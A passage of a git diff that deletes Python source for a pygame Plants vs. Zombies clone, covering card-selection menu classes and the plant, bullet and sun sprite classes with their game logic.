- x += 55 - self.card_list.append(Card(x, y, index)) - - def checkCardClick(self, mouse_pos): - result = None - for card in self.card_list: - if card.checkMouseClick(mouse_pos): - if card.canClick(self.sun_value, self.current_time): - result = (plant_name_list[card.name_index], card) - break - return result - - def checkMenuBarClick(self, mouse_pos): - x, y = mouse_pos - if(x >= self.rect.x and x <= self.rect.right and - y >= self.rect.y and y <= self.rect.bottom): - return True - return False - - def decreaseSunValue(self, value): - self.sun_value -= value - - def increaseSunValue(self, value): - self.sun_value += value - - def setCardFrozenTime(self, plant_name): - for card in self.card_list: - if plant_name_list[card.name_index] == plant_name: - card.setFrozenTime(self.current_time) - break - - def drawSunValue(self): - self.value_image = getSunValueImage(self.sun_value) - self.value_rect = self.value_image.get_rect() - self.value_rect.x = 21 - self.value_rect.y = self.rect.bottom - 21 - - self.image.blit(self.value_image, self.value_rect) - - def draw(self, surface): - self.drawSunValue() - surface.blit(self.image, self.rect) - for card in self.card_list: - card.draw(surface) - -class Panel(): - def __init__(self, card_list, sun_value): - self.loadImages(sun_value) - self.selected_cards = [] - self.selected_num = 0 - self.setupCards(card_list) - - def loadFrame(self, name): - frame = tool.GFX[name] - rect = frame.get_rect() - frame_rect = (rect.x, rect.y, rect.w, rect.h) - - return tool.get_image(tool.GFX[name], *frame_rect, c.WHITE, 1) - - def loadImages(self, sun_value): - self.menu_image = self.loadFrame(c.MENUBAR_BACKGROUND) - self.menu_rect = self.menu_image.get_rect() - self.menu_rect.x = 0 - self.menu_rect.y = 0 - - self.panel_image = self.loadFrame(c.PANEL_BACKGROUND) - self.panel_rect = self.panel_image.get_rect() - self.panel_rect.x = 0 - self.panel_rect.y = PANEL_Y_START - - - self.value_image = getSunValueImage(sun_value) - self.value_rect = self.value_image.get_rect() - self.value_rect.x = 21 - self.value_rect.y = self.menu_rect.bottom - 21 - - self.button_image = self.loadFrame(c.START_BUTTON) - self.button_rect = self.button_image.get_rect() - self.button_rect.x = 155 - self.button_rect.y = 547 - - def setupCards(self, card_list): - self.card_list = [] - x = PANEL_X_START - PANEL_X_INTERNAL - y = PANEL_Y_START + 43 - PANEL_Y_INTERNAL - for i, index in enumerate(card_list): - if i % 8 == 0: - x = PANEL_X_START - PANEL_X_INTERNAL - y += PANEL_Y_INTERNAL - x += PANEL_X_INTERNAL - self.card_list.append(Card(x, y, index, 0.75)) - - def checkCardClick(self, mouse_pos): - delete_card = None - for card in self.selected_cards: - if delete_card: # when delete a card, move right cards to left - card.rect.x -= 55 - elif card.checkMouseClick(mouse_pos): - self.deleteCard(card.name_index) - delete_card = card - - if delete_card: - self.selected_cards.remove(delete_card) - self.selected_num -= 1 - - if self.selected_num == CARD_LIST_NUM: - return - - for card in self.card_list: - if card.checkMouseClick(mouse_pos): - if card.canSelect(): - self.addCard(card) - break - - def addCard(self, card): - card.setSelect(False) - y = 8 - x = 78 + self.selected_num * 55 - self.selected_cards.append(Card(x, y, card.name_index)) - self.selected_num += 1 - - def deleteCard(self, index): - self.card_list[index].setSelect(True) - - def checkStartButtonClick(self, mouse_pos): - if self.selected_num < CARD_LIST_NUM: - return False - - x, y = mouse_pos - if (x >= self.button_rect.x and x <= self.button_rect.right and - y >= self.button_rect.y and y <= self.button_rect.bottom): - return True - return False - - def getSelectedCards(self): - card_index_list = [] - for card in self.selected_cards: - card_index_list.append(card.name_index) - return card_index_list - - def draw(self, surface): - self.menu_image.blit(self.value_image, self.value_rect) - surface.blit(self.menu_image, self.menu_rect) - surface.blit(self.panel_image, self.panel_rect) - for card in self.card_list: - card.draw(surface) - for card in self.selected_cards: - card.draw(surface) - - if self.selected_num == CARD_LIST_NUM: - surface.blit(self.button_image, self.button_rect) - -class MoveCard(): - def __init__(self, x, y, card_name, plant_name, scale=0.78): - self.loadFrame(card_name, scale) - self.rect = self.orig_image.get_rect() - self.rect.x = x - self.rect.y = y - self.rect.w = 1 - self.image = self.createShowImage() - - self.card_name = card_name - self.plant_name = plant_name - self.move_timer = 0 - self.select = True - - def loadFrame(self, name, scale): - frame = tool.GFX[name] - rect = frame.get_rect() - width, height = rect.w, rect.h - - self.orig_image = tool.get_image(frame, 0, 0, width, height, c.BLACK, scale) - self.orig_rect = self.orig_image.get_rect() - self.image = self.orig_image - - def checkMouseClick(self, mouse_pos): - x, y = mouse_pos - if(x >= self.rect.x and x <= self.rect.right and - y >= self.rect.y and y <= self.rect.bottom): - return True - return False - - def createShowImage(self): - '''create a part card image when card appears from left''' - if self.rect.w < self.orig_rect.w: #create a part card image - image = pg.Surface([self.rect.w, self.rect.h]) - image.blit(self.orig_image, (0, 0), (0, 0, self.rect.w, self.rect.h)) - self.rect.w += 1 - else: - image = self.orig_image - return image - - def update(self, left_x, current_time): - if self.move_timer == 0: - self.move_timer = current_time - elif (current_time - self.move_timer) >= c.CARD_MOVE_TIME: - if self.rect.x > left_x: - self.rect.x -= 1 - self.image = self.createShowImage() - self.move_timer += c.CARD_MOVE_TIME - - def draw(self, surface): - surface.blit(self.image, self.rect) - -class MoveBar(): - def __init__(self, card_pool): - self.loadFrame(c.MOVEBAR_BACKGROUND) - self.rect = self.image.get_rect() - self.rect.x = 90 - self.rect.y = 0 - - self.card_start_x = self.rect.x + 8 - self.card_end_x = self.rect.right - 5 - self.card_pool = card_pool - self.card_list = [] - self.create_timer = -c.MOVEBAR_CARD_FRESH_TIME - - def loadFrame(self, name): - frame = tool.GFX[name] - rect = frame.get_rect() - frame_rect = (rect.x, rect.y, rect.w, rect.h) - - self.image = tool.get_image(tool.GFX[name], *frame_rect, c.WHITE, 1) - - def createCard(self): - if len(self.card_list) > 0 and self.card_list[-1].rect.right > self.card_end_x: - return False - x = self.card_end_x - y = 6 - index = random.randint(0, len(self.card_pool) - 1) - card_index = self.card_pool[index] - card_name = card_name_list[card_index] + '_move' - plant_name = plant_name_list[card_index] - self.card_list.append(MoveCard(x, y, card_name, plant_name)) - return True - - def update(self, current_time): - self.current_time = current_time - left_x = self.card_start_x - for card in self.card_list: - card.update(left_x, self.current_time) - left_x = card.rect.right + 1 - - if(self.current_time - self.create_timer) > c.MOVEBAR_CARD_FRESH_TIME: - if self.createCard(): - self.create_timer = self.current_time - - def checkCardClick(self, mouse_pos): - result = None - for index, card in enumerate(self.card_list): - if card.checkMouseClick(mouse_pos): - result = (card.plant_name, card) - break - return result - - def checkMenuBarClick(self, mouse_pos): - x, y = mouse_pos - if(x >= self.rect.x and x <= self.rect.right and - y >= self.rect.y and y <= self.rect.bottom): - return True - return False - - def deleateCard(self, card): - self.card_list.remove(card) - - def draw(self, surface): - surface.blit(self.image, self.rect) - for card in self.card_list: - card.draw(surface) \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/plant.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/plant.py deleted file mode 100644 index 684065b101c..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/plant.py +++ /dev/null @@ -1,971 +0,0 @@ -__author__ = 'marble_xu' - -import random -import pygame as pg -from .. import tool -from .. import constants as c - -class Car(pg.sprite.Sprite): - def __init__(self, x, y, map_y): - pg.sprite.Sprite.__init__(self) - - rect = tool.GFX[c.CAR].get_rect() - width, height = rect.w, rect.h - self.image = tool.get_image(tool.GFX[c.CAR], 0, 0, width, height) - self.rect = self.image.get_rect() - self.rect.x = x - self.rect.bottom = y - self.map_y = map_y - self.state = c.IDLE - self.dead = False - - def update(self, game_info): - self.current_time = game_info[c.CURRENT_TIME] - if self.state == c.IDLE: - pass - elif self.state == c.WALK: - self.rect.x += 4 - if self.rect.x > c.SCREEN_WIDTH: - self.dead = True - - def setWalk(self): - if self.state == c.IDLE: - self.state = c.WALK - - def draw(self, surface): - surface.blit(self.image, self.rect) - -class Bullet(pg.sprite.Sprite): - def __init__(self, x, start_y, dest_y, name, damage, ice): - pg.sprite.Sprite.__init__(self) - - self.name = name - self.frames = [] - self.frame_index = 0 - self.load_images() - self.image = self.frames[self.frame_index] - self.rect = self.image.get_rect() - self.rect.x = x - self.rect.y = start_y - self.dest_y = dest_y - self.y_vel = 4 if (dest_y > start_y) else -4 - self.x_vel = 4 - self.damage = damage - self.ice = ice - self.state = c.FLY - self.current_time = 0 - - def loadFrames(self, frames, name): - frame_list = tool.GFX[name] - if name in tool.PLANT_RECT: - data = tool.PLANT_RECT[name] - x, y, width, height = data['x'], data['y'], data['width'], data['height'] - else: - x, y = 0, 0 - rect = frame_list[0].get_rect() - width, height = rect.w, rect.h - - for frame in frame_list: - frames.append(tool.get_image(frame, x, y, width, height)) - - def load_images(self): - self.fly_frames = [] - self.explode_frames = [] - - fly_name = self.name - if self.name == c.BULLET_MUSHROOM: - explode_name = 'BulletMushRoomExplode' - else: - explode_name = 'PeaNormalExplode' - - self.loadFrames(self.fly_frames, fly_name) - self.loadFrames(self.explode_frames, explode_name) - - self.frames = self.fly_frames - - def update(self, game_info): - self.current_time = game_info[c.CURRENT_TIME] - if self.state == c.FLY: - if self.rect.y != self.dest_y: - self.rect.y += self.y_vel - if self.y_vel * (self.dest_y - self.rect.y) < 0: - self.rect.y = self.dest_y - self.rect.x += self.x_vel - if self.rect.x > c.SCREEN_WIDTH: - self.kill() - elif self.state == c.EXPLODE: - if(self.current_time - self.explode_timer) > 500: - self.kill() - - def setExplode(self): - self.state = c.EXPLODE - self.explode_timer = self.current_time - self.frames = self.explode_frames - self.image = self.frames[self.frame_index] - - def draw(self, surface): - surface.blit(self.image, self.rect) - -class Plant(pg.sprite.Sprite): - def __init__(self, x, y, name, health, bullet_group, scale=1): - pg.sprite.Sprite.__init__(self) - - self.frames = [] - self.frame_index = 0 - self.loadImages(name, scale) - self.frame_num = len(self.frames) - self.image = self.frames[self.frame_index] - self.rect = self.image.get_rect() - self.rect.centerx = x - self.rect.bottom = y - - self.name = name - self.health = health - self.state = c.IDLE - self.bullet_group = bullet_group - self.can_sleep = False - self.animate_timer = 0 - self.animate_interval = 100 - self.hit_timer = 0 - - def loadFrames(self, frames, name, scale, color=c.BLACK): - frame_list = tool.GFX[name] - if name in tool.PLANT_RECT: - data = tool.PLANT_RECT[name] - x, y, width, height = data['x'], data['y'], data['width'], data['height'] - else: - x, y = 0, 0 - rect = frame_list[0].get_rect() - width, height = rect.w, rect.h - - for frame in frame_list: - frames.append(tool.get_image(frame, x, y, width, height, color, scale)) - - def loadImages(self, name, scale): - self.loadFrames(self.frames, name, scale) - - def changeFrames(self, frames): - '''change image frames and modify rect position''' - self.frames = frames - self.frame_num = len(self.frames) - self.frame_index = 0 - - bottom = self.rect.bottom - x = self.rect.x - self.image = self.frames[self.frame_index] - self.rect = self.image.get_rect() - self.rect.bottom = bottom - self.rect.x = x - - def update(self, game_info): - self.current_time = game_info[c.CURRENT_TIME] - self.handleState() - self.animation() - - def handleState(self): - if self.state == c.IDLE: - self.idling() - elif self.state == c.ATTACK: - self.attacking() - elif self.state == c.DIGEST: - self.digest() - - def idling(self): - pass - - def attacking(self): - pass - - def digest(self): - pass - - def animation(self): - if (self.current_time - self.animate_timer) > self.animate_interval: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.frame_index = 0 - self.animate_timer = self.current_time - - self.image = self.frames[self.frame_index] - if(self.current_time - self.hit_timer) >= 200: - self.image.set_alpha(255) - else: - self.image.set_alpha(192) - - def canAttack(self, zombie): - if (self.state != c.SLEEP and zombie.state != c.DIE and - self.rect.x <= zombie.rect.right): - return True - return False - - def setAttack(self): - self.state = c.ATTACK - - def setIdle(self): - self.state = c.IDLE - self.is_attacked = False - - def setSleep(self): - self.state = c.SLEEP - self.changeFrames(self.sleep_frames) - - def setDamage(self, damage, zombie): - self.health -= damage - self.hit_timer = self.current_time - if self.health == 0: - self.kill_zombie = zombie - - def getPosition(self): - return self.rect.centerx, self.rect.bottom - -class Sun(Plant): - def __init__(self, x, y, dest_x, dest_y, is_big=True): - if is_big: - scale = 0.9 - self.sun_value = c.SUN_VALUE - else: - scale = 0.6 - self.sun_value = 12 - Plant.__init__(self, x, y, c.SUN, 0, None, scale) - self.move_speed = 1 - self.dest_x = dest_x - self.dest_y = dest_y - self.die_timer = 0 - - def handleState(self): - if self.rect.centerx != self.dest_x: - self.rect.centerx += self.move_speed if self.rect.centerx < self.dest_x else -self.move_speed - if self.rect.bottom != self.dest_y: - self.rect.bottom += self.move_speed if self.rect.bottom < self.dest_y else -self.move_speed - - if self.rect.centerx == self.dest_x and self.rect.bottom == self.dest_y: - if self.die_timer == 0: - self.die_timer = self.current_time - elif(self.current_time - self.die_timer) > c.SUN_LIVE_TIME: - self.state = c.DIE - self.kill() - - def checkCollision(self, x, y): - if self.state == c.DIE: - return False - if(x >= self.rect.x and x <= self.rect.right and - y >= self.rect.y and y <= self.rect.bottom): - self.state = c.DIE - self.kill() - return True - return False - -class SunFlower(Plant): - def __init__(self, x, y, sun_group): - Plant.__init__(self, x, y, c.SUNFLOWER, c.PLANT_HEALTH, None) - self.sun_timer = 0 - self.sun_group = sun_group - - def idling(self): - if self.sun_timer == 0: - self.sun_timer = self.current_time - (c.FLOWER_SUN_INTERVAL - 6000) - elif (self.current_time - self.sun_timer) > c.FLOWER_SUN_INTERVAL: - self.sun_group.add(Sun(self.rect.centerx, self.rect.bottom, self.rect.right, self.rect.bottom + self.rect.h // 2)) - self.sun_timer = self.current_time - -class PeaShooter(Plant): - def __init__(self, x, y, bullet_group): - Plant.__init__(self, x, y, c.PEASHOOTER, c.PLANT_HEALTH, bullet_group) - self.shoot_timer = 0 - - def attacking(self): - if (self.current_time - self.shoot_timer) > 2000: - self.bullet_group.add(Bullet(self.rect.right, self.rect.y, self.rect.y, - c.BULLET_PEA, c.BULLET_DAMAGE_NORMAL, False)) - self.shoot_timer = self.current_time - -class RepeaterPea(Plant): - def __init__(self, x, y, bullet_group): - Plant.__init__(self, x, y, c.REPEATERPEA, c.PLANT_HEALTH, bullet_group) - self.shoot_timer = 0 - - def attacking(self): - if (self.current_time - self.shoot_timer) > 2000: - self.bullet_group.add(Bullet(self.rect.right, self.rect.y, self.rect.y, - c.BULLET_PEA, c.BULLET_DAMAGE_NORMAL, False)) - self.bullet_group.add(Bullet(self.rect.right + 40, self.rect.y, self.rect.y, - c.BULLET_PEA, c.BULLET_DAMAGE_NORMAL, False)) - self.shoot_timer = self.current_time - -class ThreePeaShooter(Plant): - def __init__(self, x, y, bullet_groups, map_y): - Plant.__init__(self, x, y, c.THREEPEASHOOTER, c.PLANT_HEALTH, None) - self.shoot_timer = 0 - self.map_y = map_y - self.bullet_groups = bullet_groups - - def attacking(self): - if (self.current_time - self.shoot_timer) > 2000: - offset_y = 9 # modify bullet in the same y position with bullets of other plants - for i in range(3): - tmp_y = self.map_y + (i - 1) - if tmp_y < 0 or tmp_y >= c.GRID_Y_LEN: - continue - dest_y = self.rect.y + (i - 1) * c.GRID_Y_SIZE + offset_y - self.bullet_groups[tmp_y].add(Bullet(self.rect.right, self.rect.y, dest_y, - c.BULLET_PEA, c.BULLET_DAMAGE_NORMAL, False)) - self.shoot_timer = self.current_time - -class SnowPeaShooter(Plant): - def __init__(self, x, y, bullet_group): - Plant.__init__(self, x, y, c.SNOWPEASHOOTER, c.PLANT_HEALTH, bullet_group) - self.shoot_timer = 0 - - def attacking(self): - if (self.current_time - self.shoot_timer) > 2000: - self.bullet_group.add(Bullet(self.rect.right, self.rect.y, self.rect.y, - c.BULLET_PEA_ICE, c.BULLET_DAMAGE_NORMAL, True)) - self.shoot_timer = self.current_time - -class WallNut(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.WALLNUT, c.WALLNUT_HEALTH, None) - self.load_images() - self.cracked1 = False - self.cracked2 = False - - def load_images(self): - self.cracked1_frames = [] - self.cracked2_frames = [] - - cracked1_frames_name = self.name + '_cracked1' - cracked2_frames_name = self.name + '_cracked2' - - self.loadFrames(self.cracked1_frames, cracked1_frames_name, 1) - self.loadFrames(self.cracked2_frames, cracked2_frames_name, 1) - - def idling(self): - if not self.cracked1 and self.health <= c.WALLNUT_CRACKED1_HEALTH: - self.changeFrames(self.cracked1_frames) - self.cracked1 = True - elif not self.cracked2 and self.health <= c.WALLNUT_CRACKED2_HEALTH: - self.changeFrames(self.cracked2_frames) - self.cracked2 = True - -class CherryBomb(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.CHERRYBOMB, c.WALLNUT_HEALTH, None) - self.state = c.ATTACK - self.start_boom = False - self.bomb_timer = 0 - self.explode_y_range = 1 - self.explode_x_range = c.GRID_X_SIZE - - def setBoom(self): - frame = tool.GFX[c.CHERRY_BOOM_IMAGE] - rect = frame.get_rect() - width, height = rect.w, rect.h - - old_rect = self.rect - image = tool.get_image(frame, 0, 0, width, height, c.BLACK, 1) - self.image = image - self.rect = image.get_rect() - self.rect.centerx = old_rect.centerx - self.rect.centery = old_rect.centery - self.start_boom = True - - def animation(self): - if self.start_boom: - if self.bomb_timer == 0: - self.bomb_timer = self.current_time - elif(self.current_time - self.bomb_timer) > 500: - self.health = 0 - else: - if (self.current_time - self.animate_timer) > 100: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.setBoom() - return - self.animate_timer = self.current_time - - self.image = self.frames[self.frame_index] - -class Chomper(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.CHOMPER, c.PLANT_HEALTH, None) - self.animate_interval = 250 - self.digest_timer = 0 - self.digest_interval = 15000 - self.attack_zombie = None - self.zombie_group = None - - def loadImages(self, name, scale): - self.idle_frames = [] - self.attack_frames = [] - self.digest_frames = [] - - idle_name = name - attack_name = name + 'Attack' - digest_name = name + 'Digest' - - frame_list = [self.idle_frames, self.attack_frames, self.digest_frames] - name_list = [idle_name, attack_name, digest_name] - scale_list = [1, 1, 1] - rect_list = [(0, 0, 100, 114), None, None] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, scale_list[i]) - - self.frames = self.idle_frames - - def canAttack(self, zombie): - if (self.state == c.IDLE and zombie.state != c.DIGEST and - self.rect.x <= zombie.rect.right and - (self.rect.right + c.GRID_X_SIZE//3 >= zombie.rect.x)): - return True - return False - - def setIdle(self): - self.state = c.IDLE - self.changeFrames(self.idle_frames) - - def setAttack(self, zombie, zombie_group): - self.attack_zombie = zombie - self.zombie_group = zombie_group - self.state = c.ATTACK - self.changeFrames(self.attack_frames) - - def setDigest(self): - self.state = c.DIGEST - self.changeFrames(self.digest_frames) - - def attacking(self): - if self.frame_index == (self.frame_num - 3): - self.zombie_group.remove(self.attack_zombie) - if (self.frame_index + 1) == self.frame_num: - self.setDigest() - - def digest(self): - if self.digest_timer == 0: - self.digest_timer = self.current_time - elif (self.current_time - self.digest_timer) > self.digest_interval: - self.digest_timer = 0 - self.attack_zombie.kill() - self.setIdle() - -class PuffShroom(Plant): - def __init__(self, x, y, bullet_group): - Plant.__init__(self, x, y, c.PUFFSHROOM, c.PLANT_HEALTH, bullet_group) - self.can_sleep = True - self.shoot_timer = 0 - - def loadImages(self, name, scale): - self.idle_frames = [] - self.sleep_frames = [] - - idle_name = name - sleep_name = name + 'Sleep' - - frame_list = [self.idle_frames, self.sleep_frames] - name_list = [idle_name, sleep_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1) - - self.frames = self.idle_frames - - def attacking(self): - if (self.current_time - self.shoot_timer) > 3000: - self.bullet_group.add(Bullet(self.rect.right, self.rect.y + 10, self.rect.y + 10, - c.BULLET_MUSHROOM, c.BULLET_DAMAGE_NORMAL, True)) - self.shoot_timer = self.current_time - - def canAttack(self, zombie): - if (self.rect.x <= zombie.rect.right and - (self.rect.right + c.GRID_X_SIZE * 4 >= zombie.rect.x)): - return True - return False - -class PotatoMine(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.POTATOMINE, c.PLANT_HEALTH, None) - self.animate_interval = 300 - self.is_init = True - self.init_timer = 0 - self.bomb_timer = 0 - self.explode_y_range = 0 - self.explode_x_range = c.GRID_X_SIZE//3 * 2 - - def loadImages(self, name, scale): - self.init_frames = [] - self.idle_frames = [] - self.explode_frames = [] - - init_name = name + 'Init' - idle_name = name - explode_name = name + 'Explode' - - frame_list = [self.init_frames, self.idle_frames, self.explode_frames] - name_list = [init_name, idle_name, explode_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1, c.WHITE) - - self.frames = self.init_frames - - def idling(self): - if self.is_init: - if self.init_timer == 0: - self.init_timer = self.current_time - elif (self.current_time - self.init_timer) > 15000: - self.changeFrames(self.idle_frames) - self.is_init = False - - def canAttack(self, zombie): - if (not self.is_init and zombie.rect.right >= self.rect.x and - (zombie.rect.x - self.rect.x) <= self.explode_x_range): - return True - return False - - def attacking(self): - if self.bomb_timer == 0: - self.bomb_timer = self.current_time - self.changeFrames(self.explode_frames) - elif (self.current_time - self.bomb_timer) > 500: - self.health = 0 - -class Squash(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.SQUASH, c.PLANT_HEALTH, None) - self.orig_pos = (x, y) - self.aim_timer = 0 - self.squashing = False - - def loadImages(self, name, scale): - self.idle_frames = [] - self.aim_frames = [] - self.attack_frames = [] - - idle_name = name - aim_name = name + 'Aim' - attack_name = name + 'Attack' - - frame_list = [self.idle_frames, self.aim_frames, self.attack_frames] - name_list = [idle_name, aim_name, attack_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1, c.WHITE) - - self.frames = self.idle_frames - - def canAttack(self, zombie): - if (self.state == c.IDLE and self.rect.x <= zombie.rect.right and - (self.rect.right + c.GRID_X_SIZE >= zombie.rect.x)): - return True - return False - - def setAttack(self, zombie, zombie_group): - self.attack_zombie = zombie - self.zombie_group = zombie_group - self.state = c.ATTACK - - def attacking(self): - if self.squashing: - if self.frame_index == 2: - self.zombie_group.remove(self.attack_zombie) - if (self.frame_index + 1) == self.frame_num: - self.attack_zombie.kill() - self.health = 0 - elif self.aim_timer == 0: - self.aim_timer = self.current_time - self.changeFrames(self.aim_frames) - elif (self.current_time - self.aim_timer) > 1000: - self.changeFrames(self.attack_frames) - self.rect.centerx = self.attack_zombie.rect.centerx - self.squashing = True - self.animate_interval = 300 - - def getPosition(self): - return self.orig_pos - -class Spikeweed(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.SPIKEWEED, c.PLANT_HEALTH, None) - self.animate_interval = 200 - self.attack_timer = 0 - - def loadImages(self, name, scale): - self.loadFrames(self.frames, name, 0.9, c.WHITE) - - def setIdle(self): - print('spikeweed idle') - self.animate_interval = 200 - self.state = c.IDLE - - def canAttack(self, zombie): - if (self.rect.x <= zombie.rect.right and - (self.rect.right >= zombie.rect.x)): - return True - return False - - def setAttack(self, zombie_group): - self.zombie_group = zombie_group - self.animate_interval = 50 - self.state = c.ATTACK - - def attacking(self): - if (self.current_time - self.attack_timer) > 2000: - self.attack_timer = self.current_time - for zombie in self.zombie_group: - if self.canAttack(zombie): - zombie.setDamage(1, False) - -class Jalapeno(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.JALAPENO, c.PLANT_HEALTH, None) - self.orig_pos = (x, y) - self.state = c.ATTACK - self.start_explode = False - self.explode_y_range = 0 - self.explode_x_range = 377 - - def loadImages(self, name, scale): - self.explode_frames = [] - explode_name = name + 'Explode' - self.loadFrames(self.explode_frames, explode_name, 1, c.WHITE) - - self.loadFrames(self.frames, name, 1, c.WHITE) - - def setExplode(self): - self.changeFrames(self.explode_frames) - self.animate_timer = self.current_time - self.rect.x = c.MAP_OFFSET_X - self.start_explode = True - - def animation(self): - if self.start_explode: - if(self.current_time - self.animate_timer) > 100: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.health = 0 - return - self.animate_timer = self.current_time - else: - if (self.current_time - self.animate_timer) > 100: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.setExplode() - return - self.animate_timer = self.current_time - self.image = self.frames[self.frame_index] - - def getPosition(self): - return self.orig_pos - -class ScaredyShroom(Plant): - def __init__(self, x, y, bullet_group): - Plant.__init__(self, x, y, c.SCAREDYSHROOM, c.PLANT_HEALTH, bullet_group) - self.can_sleep = True - self.shoot_timer = 0 - self.cry_x_range = c.GRID_X_SIZE * 2 - - def loadImages(self, name, scale): - self.idle_frames = [] - self.cry_frames = [] - self.sleep_frames = [] - - idle_name = name - cry_name = name + 'Cry' - sleep_name = name + 'Sleep' - - frame_list = [self.idle_frames, self.cry_frames, self.sleep_frames] - name_list = [idle_name, cry_name, sleep_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1, c.WHITE) - - self.frames = self.idle_frames - - def needCry(self, zombie): - if (zombie.state != c.DIE and self.rect.x <= zombie.rect.right and - self.rect.x + self.cry_x_range > zombie.rect.x): - return True - return False - - def setCry(self): - self.state = c.CRY - self.changeFrames(self.cry_frames) - - def setAttack(self): - self.state = c.ATTACK - self.changeFrames(self.idle_frames) - - def setIdle(self): - self.state = c.IDLE - self.changeFrames(self.idle_frames) - - def attacking(self): - if (self.current_time - self.shoot_timer) > 2000: - self.bullet_group.add(Bullet(self.rect.right, self.rect.y + 40, self.rect.y + 40, - c.BULLET_MUSHROOM, c.BULLET_DAMAGE_NORMAL, True)) - self.shoot_timer = self.current_time - -class SunShroom(Plant): - def __init__(self, x, y, sun_group): - Plant.__init__(self, x, y, c.SUNSHROOM, c.PLANT_HEALTH, None) - self.can_sleep = True - self.animate_interval = 200 - self.sun_timer = 0 - self.sun_group = sun_group - self.is_big = False - self.change_timer = 0 - - def loadImages(self, name, scale): - self.idle_frames = [] - self.big_frames = [] - self.sleep_frames = [] - - idle_name = name - big_name = name + 'Big' - sleep_name = name + 'Sleep' - - frame_list = [self.idle_frames, self.big_frames, self.sleep_frames] - name_list = [idle_name, big_name, sleep_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1, c.WHITE) - - self.frames = self.idle_frames - - def idling(self): - if not self.is_big: - if self.change_timer == 0: - self.change_timer = self.current_time - elif (self.current_time - self.change_timer) > 25000: - self.changeFrames(self.big_frames) - self.is_big = True - - if self.sun_timer == 0: - self.sun_timer = self.current_time - (c.FLOWER_SUN_INTERVAL - 6000) - elif (self.current_time - self.sun_timer) > c.FLOWER_SUN_INTERVAL: - self.sun_group.add(Sun(self.rect.centerx, self.rect.bottom, self.rect.right, - self.rect.bottom + self.rect.h // 2, self.is_big)) - self.sun_timer = self.current_time - -class IceShroom(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.ICESHROOM, c.PLANT_HEALTH, None) - self.can_sleep = True - self.orig_pos = (x, y) - self.start_freeze = False - - def loadImages(self, name, scale): - self.idle_frames = [] - self.snow_frames = [] - self.sleep_frames = [] - self.trap_frames = [] - - idle_name = name - snow_name = name + 'Snow' - sleep_name = name + 'Sleep' - trap_name = name + 'Trap' - - frame_list = [self.idle_frames, self.snow_frames, self.sleep_frames, self.trap_frames] - name_list = [idle_name, snow_name, sleep_name, trap_name] - scale_list = [1, 1.5, 1, 1] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, scale_list[i], c.WHITE) - - self.frames = self.idle_frames - - def setFreeze(self): - self.changeFrames(self.snow_frames) - self.animate_timer = self.current_time - self.rect.x = c.MAP_OFFSET_X - self.rect.y = c.MAP_OFFSET_Y - self.start_freeze = True - - def animation(self): - if self.start_freeze: - if(self.current_time - self.animate_timer) > 500: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.health = 0 - return - self.animate_timer = self.current_time - else: - if (self.current_time - self.animate_timer) > 100: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - if self.state == c.SLEEP: - self.frame_index = 0 - else: - self.setFreeze() - return - self.animate_timer = self.current_time - self.image = self.frames[self.frame_index] - - def getPosition(self): - return self.orig_pos - -class HypnoShroom(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.HYPNOSHROOM, 1, None) - self.can_sleep = True - self.animate_interval = 200 - - def loadImages(self, name, scale): - self.idle_frames = [] - self.sleep_frames = [] - - idle_name = name - sleep_name = name + 'Sleep' - - frame_list = [self.idle_frames, self.sleep_frames] - name_list = [idle_name, sleep_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1, c.WHITE) - - self.frames = self.idle_frames - -class WallNutBowling(Plant): - def __init__(self, x, y, map_y, level): - Plant.__init__(self, x, y, c.WALLNUTBOWLING, 1, None) - self.map_y = map_y - self.level = level - self.init_rect = self.rect.copy() - self.rotate_degree = 0 - self.animate_interval = 200 - self.move_timer = 0 - self.move_interval = 70 - self.vel_x = random.randint(12, 15) - self.vel_y = 0 - self.disable_hit_y = -1 - - def loadImages(self, name, scale): - self.loadFrames(self.frames, name, 1, c.WHITE) - - def idling(self): - if self.move_timer == 0: - self.move_timer = self.current_time - elif (self.current_time - self.move_timer) >= self.move_interval: - self.rotate_degree = (self.rotate_degree - 30) % 360 - self.init_rect.x += self.vel_x - self.init_rect.y += self.vel_y - self.handleMapYPosition() - if self.shouldChangeDirection(): - self.changeDirection(-1) - if self.init_rect.x > c.SCREEN_WIDTH: - self.health = 0 - self.move_timer += self.move_interval - - def canHit(self, map_y): - if self.disable_hit_y == map_y: - return False - return True - - def handleMapYPosition(self): - _, map_y1 = self.level.map.getMapIndex(self.init_rect.x, self.init_rect.centery) - _, map_y2 = self.level.map.getMapIndex(self.init_rect.x, self.init_rect.bottom) - if self.map_y != map_y1 and map_y1 == map_y2: - # wallnut bowls to another row, should modify which plant group it belongs to - self.level.plant_groups[self.map_y].remove(self) - self.level.plant_groups[map_y1].add(self) - self.map_y = map_y1 - - def shouldChangeDirection(self): - if self.init_rect.centery <= c.MAP_OFFSET_Y: - return True - elif self.init_rect.bottom + 20 >= c.SCREEN_HEIGHT: - return True - return False - - def changeDirection(self, map_y): - 